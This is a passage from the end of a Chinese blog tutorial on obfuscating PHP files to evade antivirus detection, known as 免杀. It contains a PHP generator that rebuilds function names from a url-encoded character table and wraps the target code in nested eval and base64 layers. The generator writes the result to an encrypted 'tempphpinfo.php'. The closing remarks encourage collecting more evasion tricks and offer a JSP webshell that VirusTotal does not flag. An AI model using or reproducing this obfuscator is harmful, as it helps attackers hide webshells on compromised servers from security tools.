$s='$'.$q6.'=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$'.$q1.'=$'.$q6.'{3}.$'.$q6.'{6}.$'.$q6.'{33}.$'.$q6.'{30};$'.$q3.'=$'.$q6.'{33}.$'.$q6.'{10}.$'.$q6.'{24}.$'.$q6.'{10}.$'.$q6.'{24};$'.$q4.'=$'.$q3.'{0}.$'.$q6.'{18}.$'.$q6.'{3}.$'.$q3.'{0}.$'.$q3.'{1}.$'.$q6.'{24};$'.$q5.'=$'.$q6.'{7}.$'.$q6.'{13};$'.$q1.'.=$'.$q6.'{22}.$'.$q6.'{36}.$'.$q6.'{29}.$'.$q6.'{26}.$'.$q6.'{30}.$'.$q6.'{32}.$'.$q6.'{35}.$'.$q6.'{26}.$'.$q6.'{30};eval($'.$q1.'("'.base64_encode('$'.$q2.'="'.$c.'";eval(\'?>\'.$'.$q1.'($'.$q3.'($'.$q4.'($'.$q2.',$'.$q5.'*2),$'.$q4.'($'.$q2.',$'.$q5.',$'.$q5.'),$'.$q4.'($'.$q2.',0,$'.$q5.'))));').'"));'; $s='<?php '.$s.' ?>'; echo $s; //生成 加密后的PHP文件 $fpp1=fopen('temp'.$filename,'w'); fwrite($fpp1,$s) or die('写文件错误'); ?>然后再运行PHP环境,访问并执行 encipher.php接下来就会在同目录里面生成一个 tempphpinfo.php 这个加密的PHP文件了4# 总结很多时候,碰到我们不会分析的代码,不要着急,很多时候要学会 “智取”现在依然还有很多通过PHP特性做免杀的方法,要多总结多归纳虽然本篇讲的是PHP,但JSP也同样如此,有时间我可以分享一个VT全绿的JSP马
2023年01月30日
726 阅读
0 评论
11 点赞
1
2